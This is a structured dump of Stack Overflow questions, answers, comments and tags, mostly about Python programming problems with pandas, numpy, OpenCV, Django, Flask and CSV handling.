score: -1

http://stackoverflow.com/comment/104650969
score: 0
comment on: http://stackoverflow.com/a/50047994
type: Comment
has text: Which wheel is it? I tried the suggestion on that readme and got: tensorflow-1.13.1-cp37-cp37m-linux_x86_64.whl is not a supported wheel on this platform. I am using alpine 3.7 and python 3.7
type: AnswerComment

http://stackoverflow.com/comment/85944860
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49471133
has text: change `content = php_ini.readlines(num)` to `content = line.strip()`?

http://stackoverflow.com/a/49534143
has body: This is not possible. Underlying pandas.DataFrame objects are numpy arrays, which do not group data in the way you suggest. Therefore, an arbitrary column cannot be displayed as grouped data. Option 1 It is possible to partially replicate your desired output by using MultiIndex: import pandas as pd df = pd.DataFrame([['AAA', 8, 2, 'BBB'], ['AAA', 9, 5, 'BBB'], ['AAA', 10, 6, 'BBB']], columns=['Name', 'Score1', 'Score2', 'PM']) res = df.set_index(['Name', 'PM']) Result: Score1 Score2 Name PM AAA BBB 8 2 BBB 9 5 BBB 10 6 Option 2 Or you can add a dummy column and set_index on 3 columns: df['dummy'] = 0 res = df.set_index(['Name', 'PM', 'dummy']) Result: Score1 Score2 Name PM dummy AAA BBB 0 8 2 0 9 5 0 10 6
has comment: http://stackoverflow.com/comment/86074518
has comment: http://stackoverflow.com/comment/98353831
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49533330
has comment: http://stackoverflow.com/comment/98352473
has comment: http://stackoverflow.com/comment/98355794
score: 9
upvote count: 9
answers question: http://stackoverflow.com/q/49533330
type: Answer

http://stackoverflow.com/a/49590694
has comment: http://stackoverflow.com/comment/86189279
has body: You've defeated multithreading first by waiting for each thread to finish in the for url in data_set: loop before starting the next, and then by using a lock to only let one instance of the the fetch_url function run at a time. You've imported ThreadPool, its a reasonable tool for the job. Here is how you could use it import threading from multiprocessing.pool import ThreadPool from selenium import webdriver from selenium.webdriver.phantomjs.service import Service from selenium.webdriver.common.desired_capabilities import DesiredCapabilities from selenium.webdriver.remote.webdriver import WebDriver as RemoteWebDriver import csv def fetch_url(url): driver = webdriver.PhantomJS() driver.get(url) html = driver.page_source print(html) print("'%s\' fetched in %ss" % (url[0], (time.time() - start))) def thread_task(lock,data_set): lock.acquire() fetch_url(url) lock.release() if __name__ == "__main__": start = time.time() with open('file.csv', 'r') as csvfile: dataset = list(csv.reader(csvfile, delimiter=' ', quotechar='|')) # guess a thread pool size which is a tradeoff of number of cpu cores, # expected wait time for i/o and memory size. with ThreadPool(20) as pool: pool.map(fetch_url, dataset, chunksize=1) print("Elapsed Time: %s" % (time.time() - start))
has comment: http://stackoverflow.com/comment/86189198
type: Answer
answers question: http://stackoverflow.com/q/49590561
has comment: http://stackoverflow.com/comment/86190251
upvote count: 2
score: 2
has comment: http://stackoverflow.com/comment/86190079
has comment: http://stackoverflow.com/comment/86189987
downvote count: 0
has comment: http://stackoverflow.com/comment/86189392

http://stackoverflow.com/comment/86081122
score: 0
comment on: http://stackoverflow.com/q/49525793
has text: Certainly, but it does not really answer the current question, as I am suggesting a different approach to your problem. The first thing would be to look at how `train.py` is calling the library and show how to catch `stodut` and `stderr` there. After that, you would still probably need a new thread, to run the library call, to allow a response to be sent back to the user directly. And finally you need a way to interact with the thread through your API. This needs to be broken down into multiple questions.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86116148
score: 1
comment on: http://stackoverflow.com/a/49547871
has text: I've posted the correct answer to the quickstart. You're using "Web Application" credentials instead of "Other".
type: Comment
type: AnswerComment

deserialization
type: Tag
tags question: http://stackoverflow.com/q/49544081
tag name: deserialization

tuples
tags question: http://stackoverflow.com/q/49502799
tags question: http://stackoverflow.com/q/49444259
tags question: http://stackoverflow.com/q/49581759
tags question: http://stackoverflow.com/q/49491914
tags question: http://stackoverflow.com/q/49463297
tag name: tuples
tags question: http://stackoverflow.com/q/49464444
tags question: http://stackoverflow.com/q/49465870
tags question: http://stackoverflow.com/q/49593744
tags question: http://stackoverflow.com/q/49545922
tags question: http://stackoverflow.com/q/49483429
tags question: http://stackoverflow.com/q/49442689
tags question: http://stackoverflow.com/q/49543468
tags question: http://stackoverflow.com/q/49522001
tags question: http://stackoverflow.com/q/49485797
tags question: http://stackoverflow.com/q/49567866
tags question: http://stackoverflow.com/q/49532854
type: Tag
tags question: http://stackoverflow.com/q/49455301
tags question: http://stackoverflow.com/q/49567180
tags question: http://stackoverflow.com/q/49516110
tags question: http://stackoverflow.com/q/49452982
tags question: http://stackoverflow.com/q/49535982

http://stackoverflow.com/q/49477822
upvote count: 2
downvote count: 0
answer count: 1
has body: I have two data points on a 2-D image grid and the value of some quantity of interest at these two points is known. For example: Let us consider the point being x=(2,2). Then considering a 4-grid neighborhood we have points x_1=(1,2), x_2=(2,3), x_3=(3,2), x_4=(2,1) as neighbours of x. Suppose the value of some quantity of interest at these points be y=5, y_1=7, y_2=8, y_3= 10, y_4 = 3. Through interpolation, I want to find y at a sub-pixel value, say at (2.7, 2.3). The above problem can be represented with numpy arrays as follows. x = [(2,2), (1,2), (2,3), (3,2), (2,1)] y = [5,7,8,10,3] How to use numpy/scipy interpolation to do this? I could not find a concrete example dealing with it.
has title: Interpolation with numpy/scipy on 2-D grid
tagged with: scipy
linked to: http://stackoverflow.com/q/5146025
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49478006
has answer: http://stackoverflow.com/a/49478006
tagged with: python
has comment: http://stackoverflow.com/comment/85958505
score: 2
tagged with: interpolation
tagged with: numpy
type: AnsweredQuestion

http://stackoverflow.com/comment/116563115
comment on: http://stackoverflow.com/a/49454073
has text: is the for loop a line wise run through the rs similar to `for line in file`?
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/49546837
tagged with: python
has comment: http://stackoverflow.com/comment/86109809
tagged with: opencv
tagged with: video
tagged with: audio
has title: How to play sound from a video OpenCV in Python
score: 1
answer count: 1
upvote count: 1
has answer: http://stackoverflow.com/a/61716341
has body: I'm playing a mp4 file in python, but the sound of the video doesn't comes out, I searched for a while if it's anyway to play the sound, but I could not find anything. Does anyone knows how to play the sound? I post the code that displays de video : import cv2 import numpy as np # Create a VideoCapture object and read from input file # If the input is the camera, pass 0 instead of the video file name cap = cv2.VideoCapture('video.mp4') # Check if camera opened successfully #if (cap.isOpened()== False): # print("Error opening video stream or file") # Read until video is completed while(cap.isOpened()): # Capture frame-by-frame ret, frame = cap.read() if ret == True: # Display the resulting frame cv2.imshow('Frame',frame) # Press Q on keyboard to exit if cv2.waitKey(25) & 0xFF == ord('q'): break # Break the loop else: break # When everything done, release the video capture object cap.release() # Closes all the frames cv2.destroyAllWindows() It seems useless that OpenCV doesn't allow to play the sound. I'm using Python 3 by the way. Thank you. ANSWER: OpenCV is a computer-vision library. It does not support audio. If you want to play sound, you can try ffpyplayer. – Thanks to >>> yushulx
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86139311
type: UnansweredQuestion
downvote count: 0

http://stackoverflow.com/comment/86006398
comment on: http://stackoverflow.com/q/49501026
type: Comment
type: QuestionComment
has text: you're using a series, so `x[2,1]` cannot work since a series is 1d. In the other cases i would suggest you to use `.iloc[...]` or `.loc[...]` and keep the example of MaxU in mind
score: 0

http://stackoverflow.com/comment/86195539
comment on: http://stackoverflow.com/q/49593972
type: Comment
has text: At first you should create the dictionary you want to store.
score: 0
type: QuestionComment

http://stackoverflow.com/q/49538396
tagged with: regex
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86083862
answer count: 2
has title: what regex could match this?
upvote count: 0
has comment: http://stackoverflow.com/comment/86087525
possible better answer: http://stackoverflow.com/a/49538587
downvote count: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49540232
has comment: http://stackoverflow.com/comment/86083898
has body: I have the following string: string='script=dqweqweqwe qewq ewqewqewe$int_qwe$\r\n\r\nintqewwqe wqe thisCanChange=5711' I can't figure how to match 'dqweqweqwe qewq ewqewqewe$int_qwe$\r\n\r\nintqewwqe wqe'. I tried this: regex=r'script=(.*?) .*?=' But obviously it's only matching 'dqweqweqwe' Could you please advise me ?
has answer: http://stackoverflow.com/a/49538587
has answer: http://stackoverflow.com/a/49540232
has comment: http://stackoverflow.com/comment/86083965
tagged with: python
score: -1

http://stackoverflow.com/comment/86137155
type: QuestionComment
has text: Thanks, That was exactly what I need. Is this happens only on Windows?
score: 0
comment on: http://stackoverflow.com/q/49550952
type: Comment

http://stackoverflow.com/a/49491125
score: 0
answers question: http://stackoverflow.com/q/49488857
has body: so I found out that if instead of the lambda if we use partials then the code works fine. self.menu.addAction(item, functools.partial(self.printMe, item))
type: Answer

http://stackoverflow.com/a/49470201
score: 0
has body: Split each item and join the pieces: from itertools import chain mylist = ['Toms', 'ad sf', "Joe's"] list(chain(*[re.split("\W+", item) for item in mylist])) #['Toms', 'ad', 'sf', 'Joe', 's'] Here's a "clean" functional solution: list(chain(*map(lambda item: re.split("\W+", item), mylist))) #['Toms', 'ad', 'sf', 'Joe', 's']
upvote count: 1
downvote count: 1
answers question: http://stackoverflow.com/q/49470165
type: Answer

http://stackoverflow.com/comment/86038885
has text: Please [edit] it into the question. But I guess that means we don't have to use the dataframe as the input? The `pandas` tag looks a bit out of place here.
score: 0
comment on: http://stackoverflow.com/q/49516573
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85989997
type: AnswerComment
has text: You're welcome. So, if it solves your problem, set the answer as the best one, please.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49493023

http://stackoverflow.com/q/49461507
tagged with: python
has body: I have implemented Paypal integration in my Django app using Django-paypal and along with that, I have setup signal receivers according to the documentation. But the problem is: everytime when someone makes a payment it is flagged as duplicate even I'm passing a random invoice id along with paypal dictionary. Here's what I have tried: From views.py: def generate_cid(): chars = "".join([random.choice(string.ascii_lowercase) for i in range(5)]) digits = "".join([random.choice(string.digits) for i in range(4)]) cid = digits + chars return cid def payment_process(request): minutes = int(request.user.tagging.count()) * 5 testhours = minutes / 60 hours = '' if request.user.tagging.count() &gt; 11: # hours = str(round(testhours, 3)) hours = 5 # invoice = generate_cid() user_info = { "name": str(request.user.first_name + ' ' + request.user.last_name), "hours": str(hours), "taggedArticles": str(request.user.tagging.count()), "email": str(request.user.email), "date": str(datetime.date.today()), } paypal_dict = { "business": settings.PAYPAL_RECEIVER_EMAIL, "item_name": "Certificate of Completion", "custom": json.dumps(user_info), "invoice": str(generate_cid()), "amount": "95.00", "currency_code": "USD", "notify_url": settings.host + '/users/paypal', "return_url": settings.host + "/users/done/", "cancel_return": settings.host + "/users/cancel/", } # Create the instance. form = PayPalPaymentsForm(initial=paypal_dict) context = {"form": form} return render(request, "users/generateCert.html", context) From signals.py: def show_me_the_money(sender, **kwargs): ipn_obj = sender # Undertake some action depending upon `ipn_obj`. if ipn_obj.payment_status == ST_PP_COMPLETED: print('Payment is completed') user_infor = ast.literal_eval(ipn_obj.custom) if ipn_obj.receiver_email == settings.PAYPAL_RECEIVER_EMAIL: print('And Payment is valid') # generate and send an email with pdf certificate file to the user's email user_infor = ast.literal_eval(ipn_obj.custom) user_info = { "name": user_in…
has title: Django-Paypal IPNs flagged Duplicate txn_id in Django admin
tagged with: django-paypal
type: AnsweredQuestion
tagged with: python-3.x
answer count: 1
tagged with: django
upvote count: 1
tagged with: paypal
downvote count: 1
has answer: http://stackoverflow.com/a/49462402
favorite count: 0
type: Question
score: 0
accepted answer: http://stackoverflow.com/a/49462402

http://stackoverflow.com/comment/85960697
has text: It shows me a lot of `~` in a column. New lines, apparently.
type: Comment
comment on: http://stackoverflow.com/q/49478947
score: 0
type: QuestionComment

http://stackoverflow.com/comment/85928045
type: Comment
has text: And, also, do you need the individual classififications or is this just a step towards the end goal of counting the number of different classifications?
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49460725

http://stackoverflow.com/a/49469139
score: 1
has comment: http://stackoverflow.com/comment/85941723
type: Answer
has comment: http://stackoverflow.com/comment/85941656
has comment: http://stackoverflow.com/comment/85941721
has comment: http://stackoverflow.com/comment/85942040
has comment: http://stackoverflow.com/comment/85941717
downvote count: 0
has comment: http://stackoverflow.com/comment/85941782
has body: You forgot to call .get as you didn't put the parenthesis in. You need to change var.get == 1 to var.get() == 1
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49469032
has comment: http://stackoverflow.com/comment/85941857
has comment: http://stackoverflow.com/comment/85941824
has comment: http://stackoverflow.com/comment/85942026
answers question: http://stackoverflow.com/q/49469032

http://stackoverflow.com/comment/86073217
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49533082
has text: That is, I would recommend starting off from [this example](https://matplotlib.org/gallery/ticks_and_spines/multiple_yaxis_with_spines.html) instead.
score: 0

http://stackoverflow.com/q/49481445
has body: I am having a strange error when using multiple connections to the same database. My application takes in a .csv file and creates 2 sql tables and allows for users to favourite items from this dataset. Problem: When I only use one connection for Dataframe Upload, then I am able to execute (csv- df - sql). However, when I use another connection as currently in Favourites then I am unable to execute df to sql. If I un-comment #cnx3.close() then everything works, however I can no longer retrieve the data that I need for favourites. The same datasource is used for user favourites. I have found a temporary work around, but I would like some guidance on how to resolve the issue so that I can use both elements of my application. Relevant code : Imports: # Imported Modules from flask import Flask, render_template, flash, redirect, url_for, session, logging, request, jsonify from flask_wtf import RecaptchaField from wtforms import Form,StringField, TextAreaField, PasswordField, validators from functools import wraps #### SQL connection from sqlalchemy import create_engine ## Useful - Needed for Python 3 as MySQLDB Does Not Support This ! import pymysql pymysql.install_as_MySQLdb() import numpy as np import json from werkzeug import secure_filename import pandas as pd import tempfile import mysql.connector SQL connectors: config3 = { 'user':'root', 'password':'', 'host':'localhost', 'raise_on_warnings':True, } cnx = mysql.connector.connect(**config) cnx2 = mysql.connector.connect(**config2) cnx3 = mysql.connector.connect(**config3) engine = create_engine('mysql://root:@localhost/tableau_data?charset=utf8' ,encoding='utf-8') Dataframe Upload: @app.route('/upload', methods =['GET', 'POST']) @auth def csv_input(): tempfile_path = tempfile.NamedTemporaryFile().name #file.save(tempfile_path) #sheet = pd.read_csv(tempfile_path) if request.method == 'POST': file = request.files['file'] if file: try: #allowed_filename(file.filename): #filename = secure_filename(file.filename) file.sa…
has comment: http://stackoverflow.com/comment/86002206
score: 0
tagged with: sql
has title: Strange SQL error Python Flask -Multiple connections to DB
tagged with: python
has comment: http://stackoverflow.com/comment/86071540
type: Question
has comment: http://stackoverflow.com/comment/85979099
has answer: http://stackoverflow.com/a/49576467
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86010578
has comment: http://stackoverflow.com/comment/85996826
answer count: 1
tagged with: flask

http://stackoverflow.com/a/49491143
answers question: http://stackoverflow.com/q/49490782
upvote count: 2
type: Answer
has body: I think you can append columns selected by positions by iloc to list and then concat: L = [] RequiredColumns = np.array([0,1]) for i in RequiredColumns: ReqColumn = X.iloc[:, i] L.append(ReqColumn) FeatureSelected_DataFrame = pd.concat(L, axis=1) print (FeatureSelected_DataFrame) A B 0 1 2 1 1 2 2 1 2 3 1 2 Better non loop solution is: RequiredColumns = np.array([0,1]) df = X.iloc[:, RequiredColumns] print (df) A B 0 1 2 1 1 2 2 1 2 3 1 2
accepted answer of: http://stackoverflow.com/q/49490782
score: 2
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/49502647
score: 1
tagged with: python
has title: how to implement @property
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49502765
has comment: http://stackoverflow.com/comment/86009821
answer count: 1
downvote count: 0
linked to: http://stackoverflow.com/q/6444576
has comment: http://stackoverflow.com/comment/86009388
upvote count: 1
tagged with: decorator
favorite count: 0
type: Question
has body: I was comparing three slightly different implementations of @property in python. Python documentation and "Source 1" initialize the private variable, _var_name. Furthermore, the code from Source 1 has a bug; it doesn't access .setter when initializing. By contrast, the third example correctly initializes the public variable x. Is there a good reason to initialize _x in place of x in __init__? Are there any additional differences between these that I haven't described? From the docs: class C: def __init__(self): self._x = None @property def x(self): """I'm the 'x' property.""" return self._x @x.setter def x(self, value): self._x = value @x.deleter def x(self): del self._x Source 1: class Celsius: def __init__(self, temperature = 0): self._temperature = temperature def to_fahrenheit(self): return (self.temperature * 1.8) + 32 @property def temperature(self): print("Getting value") return self._temperature @temperature.setter def temperature(self, value): if value &lt; -273: raise ValueError("Temperature below -273 is not possible") print("Setting value") self._temperature = value Source 2: class P: def __init__(self,x): self.x = x @property def x(self): return self.__x @x.setter def x(self, x): if x &lt; 0: self.__x = 0 elif x &gt; 1000: self.__x = 1000 else: self.__x = x
has answer: http://stackoverflow.com/a/49502765

http://stackoverflow.com/comment/86190028
comment on: http://stackoverflow.com/q/49591139
type: QuestionComment
has text: I guess [this](https://stackoverflow.com/questions/12309269/how-do-i-write-json-data-to-a-file/37795053#37795053) answers your question.
type: Comment
score: 0

system
tag name: system
tags question: http://stackoverflow.com/q/49441151
type: Tag

http://stackoverflow.com/comment/116099601
has text: And this is a subset of https://stackoverflow.com/questions/24315246/convert-numpy-array-to-order-of-elements-when-duplicate-values-are-present (only 1D)
score: 0
comment on: http://stackoverflow.com/q/49459303
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86129958
type: QuestionComment
comment on: http://stackoverflow.com/q/49559545
score: 1
type: Comment
has text: You can also let the Python script start the Go program and use OS signals to, well, signal a settings update.

http://stackoverflow.com/a/49550532
accepted answer of: http://stackoverflow.com/q/49550081
score: 4
answers question: http://stackoverflow.com/q/49550081
type: Answer
upvote count: 4
type: AcceptedAnswer
has body: According to the documentation variable shape can not be changed. The Variable() constructor requires an initial value for the variable, which can be a Tensor of any type and shape. The initial value defines the type and shape of the variable. After construction, the type and shape of the variable are fixed. The value can be changed using one of the assign methods. (emphasis added)
downvote count: 0

http://stackoverflow.com/comment/86031166
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49507985
type: Comment
has text: I tried random forest and GBM with defaults parameters, scoring history is smoother (see my post updated).

http://stackoverflow.com/comment/86040156
type: AnswerComment
has text: Here , self.controller gives error as 'Something ' has no controller member
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49517305

http://stackoverflow.com/q/49580190
type: Question
has comment: http://stackoverflow.com/comment/86168582
has answer: http://stackoverflow.com/a/49581317
has comment: http://stackoverflow.com/comment/86169779
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/86169285
has comment: http://stackoverflow.com/comment/86168598
has comment: http://stackoverflow.com/comment/86168341
has body: I am using Python with csv writer to export a csv containing UPC codes (which occasionally contain leading zeros) in several columns. The exported sheet should look something like this: name, upc Blue Perfume, "0853520006427" Red Cologne, "0223520006427" Beige Tanner, "8292930112345" ... In my attempt to achieve this I have tried to add double quotes like so: productSKU = '\"' + productSKU + '\"' but this ends up outputing double double-quotes to the csv file like so: ""0853520006427"" I've read online suggestions to try adding an = to the beginning of the sheet so that Excel parses the cell as a string but this is unwanted behavior as it leaves the entry in the resulting csv file like this: ="0853520006427" as opposed to this: "0853520006427" What is the proper way of achieving this end result with csv writer? EDIT Here is a quick python script I wrote to test with: import csv filename = 'output.csv' with open(filename, 'w', newline='', encoding='utf-8') as csvfile: writer = csv.writer(csvfile) rowData = ['Blue Shampoo', '0853520006427'] writer.writerow(rowData) rowData = ['Blue Shampoo', '\"0853520006427\"'] writer.writerow(rowData) rowData = ['Blue Shampoo', '=\"0853520006427\"'] writer.writerow(rowData) rowData = ['Blue Shampoo', '\'0853520006427'] writer.writerow(rowData) Notice the resulting data: Blue Shampoo,0853520006427 Blue Shampoo,"""0853520006427""" Blue Shampoo,"=""0853520006427""" Blue Shampoo,'0853520006427
tagged with: python
has title: Python CSV writer: How to write upc code with leading zero as string?
has comment: http://stackoverflow.com/comment/86169805
has comment: http://stackoverflow.com/comment/86170066
score: 0
has answer: http://stackoverflow.com/a/49581556
answer count: 2
has comment: http://stackoverflow.com/comment/86169438
has comment: http://stackoverflow.com/comment/86170097
has comment: http://stackoverflow.com/comment/86168431
has comment: http://stackoverflow.com/comment/86168411
has comment: http://stackoverflow.com/comment/86168400
upvote count: 1
tagged with: string
has comment: http://stackoverflow.com/comment/86169377
downvote count: 1
favorite count: 0

http://stackoverflow.com/q/49535982
has answer: http://stackoverflow.com/a/49536049
tagged with: python-3.x
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49536052
downvote count: 0
upvote count: 1
tagged with: python
has body: Am trying to print elements of index 1 like 4994 2993 100 20.5 from my tuple but it print ('dan', '2993'). b = (("ben","4994"),("dan","2993"),("Hans",100),("Frank",20.5)) print(b[1]) Have searched on this site and none of the answer provided gives me clue to solve this.
has title: Print from specific elements in python tuple
linked to: http://stackoverflow.com/q/3308102
tagged with: tuples
has comment: http://stackoverflow.com/comment/86078526
answer count: 3
duplicate of: http://stackoverflow.com/q/3308102
score: 1
has answer: http://stackoverflow.com/a/49536005
favorite count: 0
type: Question

http://stackoverflow.com/a/49596755
has comment: http://stackoverflow.com/comment/86201051
has comment: http://stackoverflow.com/comment/86201050
has comment: http://stackoverflow.com/comment/86200925
has comment: http://stackoverflow.com/comment/86200827
has body: I think you should insert to array rather assign it. and you also need to delete up to index + 3 def define(lst): for index, item in enumerate(lst): if item[0] == '!' and lst[index+2][-1] == '!': temp = lst[index:index+3] del lst[index:index+3] lst.insert(index, temp) return lst
score: 0
has comment: http://stackoverflow.com/comment/86201032
has comment: http://stackoverflow.com/comment/86201143
has comment: http://stackoverflow.com/comment/86200985
upvote count: 1
answers question: http://stackoverflow.com/q/49596604
has comment: http://stackoverflow.com/comment/86200950
downvote count: 1
type: Answer

http://stackoverflow.com/a/61858355
downvote count: 1
has body: If no one is against, then I publish my little monkey patch. This can be inserted anywhere and called up from the settings file (preferably at the very end). # Hide "save_and_add_another" button from django.contrib.admin.templatetags import admin_modify submit_row = admin_modify.submit_row def submit_row_custom(context): ctx = submit_row(context) ctx['show_save_and_add_another'] = False return ctx admin_modify.submit_row = submit_row_custom
answers question: http://stackoverflow.com/q/49560378
score: 3
has comment: http://stackoverflow.com/comment/130175219
type: Answer
upvote count: 4
has comment: http://stackoverflow.com/comment/130056979
has comment: http://stackoverflow.com/comment/120850592
has comment: http://stackoverflow.com/comment/126324128

http://stackoverflow.com/q/49501372
tagged with: lstm
score: 0
has comment: http://stackoverflow.com/comment/86006905
answer count: 0
has comment: http://stackoverflow.com/comment/86007288
has comment: http://stackoverflow.com/comment/86007194
tagged with: keras
has comment: http://stackoverflow.com/comment/86007286
type: Question
tagged with: normalization
has title: LSTM prediction normalization
type: UnansweredQuestion
has body: I am currently trying Ethereum price prediction with LSTM network in Keras and I have a little problem. I am trying to predict 10 following prices from 40 previous prices. Time span between prices is 15 second, so I am predicting 2,5 minutes into the future. My input data are: closing price, open price, lowest price and highest price. I normalize the data between 0 and 1, since my activation function in fully connected layer is linear. I normalize each sequence independently based on minimum and maximum value of the whole sequence. This model works fine when I test it with past data, since I have both input prices and the prices I am trying to predict, so when I denormalize the data based on minimum and maximum of the whole sequence, the prediction is pretty accurate. However when I try to predict live data, I do not have the last 10 prices from the sequence, so I have to denormalize my output based on only 40 input values, which is where the problem is. The live result will never be as good as the testing result. I tried to normalize my data based on 40 input prices from the sequence at the training, but it kind of threw off my whole prediction. I also tried to normalize between -1 and 1 based on 40 input values and change my output activation function to tanh, but it still did not work correctly. My prediction mostly showed straight line with no increase or decrease in value. My training data consist of around 61 000 rows of prices and I took 85% as training set, 20% of training set as validation set and 15% as testing set. Do you have any idea where the problem could be? I can also provide some data about my architecture and training if needed.
tagged with: machine-learning
tagged with: python

http://stackoverflow.com/a/49441994
has body: For this you'll need to precompute the keys. It probably makes most sense to put the key/values in a tuple. However, you'll want to take care that min/max/sort only performs comparison on the key and not the value (otherwise if the value isn't comparable this will fail if there are duplicate keys): from operator import itemgetter def max_with_key(iterable, key): """ Returns a (max_key, max_value) tuple by applying max to the iterable with the given key. Useful in cases when the key function is non-deterministic and the original key used in the max operation is desired. &gt;&gt;&gt; from random import randint &gt;&gt;&gt; max_with_key([1, 2, 3], key=lambda _: randint(0, 10)) (9, 3) &gt;&gt;&gt; max_with_key([1, 2, 3], key=lambda _: randint(0, 10)) (8, 1) """ prekeyed = ((key(x), x) for x in iterable) return max(prekeyed, key=itemgetter(0))
has comment: http://stackoverflow.com/comment/85886248
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/85885914
has comment: http://stackoverflow.com/comment/85886238
upvote count: 4
has comment: http://stackoverflow.com/comment/85885939
has comment: http://stackoverflow.com/comment/85886070
accepted answer of: http://stackoverflow.com/q/49441923
type: Answer
score: 4
answers question: http://stackoverflow.com/q/49441923
has comment: http://stackoverflow.com/comment/85886138

http://stackoverflow.com/comment/86107268
type: Comment
type: QuestionComment
score: 0
has text: have you tried anything?
comment on: http://stackoverflow.com/q/49550034

http://stackoverflow.com/a/49580021
has body: Adapted other partial solutions to use cleaner solutions combined to get op's requested output. # make dataframe df = pd.DataFrame(columns=['col'], data=['2017 / something', '$5.91 (× 1)', 'Premium', '2017 / anotherthing', '$16.0 (× 1)', 'Business']) # break into 3 columns(per piRSquared's solution) and rename df = df.set_index( pd.MultiIndex.from_arrays(np.arange(len(df)).__divmod__(3)) ).col.unstack().rename(columns={0: 'col', 1: 'revenue', 2: 'plan'}) # strip parenthesis values and dollar signs df.revenue = df.revenue.replace(r'\s*\([^\)]*\)', '', regex=True).str.strip('$') print(df) output: col revenue plan 0 2017 / something 5.91 Premium 1 2017 / anotherthing 16.0 Business
type: Answer
score: 0
answers question: http://stackoverflow.com/q/49579729

http://stackoverflow.com/comment/86135437
has text: `time.sleep` just sleeps. You shouldn't be seeing this strange difference. There has to be something else going on.
score: 3
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49563521

http://stackoverflow.com/comment/85916794
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49456032
has text: Look at https://stackoverflow.com/questions/6244038/sqlalchemy-filter-by-count-column

http://stackoverflow.com/comment/86599003
comment on: http://stackoverflow.com/a/49470364
type: Comment
has text: @piRSquared - Can you change timings for my answer?
score: 0
type: AnswerComment

http://stackoverflow.com/comment/86154414
score: 0
type: Comment
type: QuestionComment
has text: Please include a description/error trace of the failure. Seems that your `key` function is accessing an invalid index on the tuple. As per your last transformation: `.map(lambda x : (x[0], list(x[1])))`, the collected objects are of the form `(v1, [e1, e2, ...])`. This tuple cannot have index `2`, which explains the failure.
comment on: http://stackoverflow.com/q/49573267

http://stackoverflow.com/q/49540730
has comment: http://stackoverflow.com/comment/86088991
has comment: http://stackoverflow.com/comment/86090639
score: 0
tagged with: filter
has comment: http://stackoverflow.com/comment/86089062
answer count: 0
tagged with: pandas
upvote count: 1
type: UnansweredQuestion
downvote count: 1
linked to: http://stackoverflow.com/q/38835483
has body: I have seen this a million times, I am somehow chaining indexes and am getting a setting with copy warning. The code I am using is below: toEmail['median'] = np.nanmedian(toEmail.filter(like = 'foo_'), axis = 1) I am guessing that it has to do with filter is creating some slice but I am not sure. I have tried the following, neither of which worked. toEmail['median'] = np.nanmedian(toEmail.filter(like = 'foo_').copy(deep=True), axis = 1) toEmail['median'] = list(np.nanmedian(toEmail.filter(like = 'foo_'), axis = 1)) --- EDIT --- Per the comments I got this dataframe from this: toEmail = fullDf'foo_1', 'foo_2', 'bar_1', 'bar_2' and adding the copy here fixes the issues toEmail = fullDf'foo_1', 'foo_2', 'bar_1', 'bar_2'.copy()
favorite count: 0
type: Question
has title: A value is trying to be set on a copy of a slice from a DataFrame when using pd.filter
tagged with: python
tagged with: slice

http://stackoverflow.com/comment/85935769
comment on: http://stackoverflow.com/q/49455862
type: QuestionComment
score: 0
has text: Open the file in notepad and click save as. At the bottom it will show you the encoding of the file. Make sure that it is indeed UTF-8 and not ANSI.
type: Comment

http://stackoverflow.com/a/49590312
type: Answer
has body: You are trying to search a tuple of words inside a string, while I guess you want to check if any word of the tuple is in the string. BTW strings are case sensitive in python. You could replace : if value in x: by if any(word in x.lower() for word in value):
score: 0
answers question: http://stackoverflow.com/q/49590180

http://stackoverflow.com/comment/86280448
has text: %T means "minor device type in hex", so just be sure you're relying on a documented interface here...
score: 0
comment on: http://stackoverflow.com/a/49626048
type: Comment
type: AnswerComment

http://stackoverflow.com/q/49470387
has comment: http://stackoverflow.com/comment/85943630
upvote count: 0
tagged with: readlines
answer count: 2
downvote count: 2
has title: python read lines in functional way
has comment: http://stackoverflow.com/comment/85943984
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85943968
tagged with: sys
has comment: http://stackoverflow.com/comment/85943835
has body: I need to write a program in a functional way. I have a text and I need to calculate a number of unique words, (for example: "word word, word word?" - has 3 different words, punctuation matters. I have a code: import sys import re print(len(set(re.findall('[^ \n]+', sys.stdin.readline())))) the problem is that i can read only one line this way, I tried to replace readline by read, but it not working.
has comment: http://stackoverflow.com/comment/85943863
has answer: http://stackoverflow.com/a/49470403
has comment: http://stackoverflow.com/comment/85943657
score: -2
tagged with: python
has answer: http://stackoverflow.com/a/49470428
favorite count: 0
type: Question

http://stackoverflow.com/comment/85948091
has text: Sub interpreters are not sub processes. They still run in the same process, so would make no difference. Your code still has to be multithread safe in the context of concurrent requests. That is the case whether or not use sub interpreters. If your code isn't written to be able to handle concurrent requests, then on Windows you will have a problem, as the only concurrency model supported in Apache is threading. You can't specify requests be handled in separate processes.
comment on: http://stackoverflow.com/a/49471633
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/49577387
has comment: http://stackoverflow.com/comment/86162519
has title: Why do I get different results when linear regression when using scipy.stats.linregress vs numpy.polyfit(deg=1)
answer count: 1
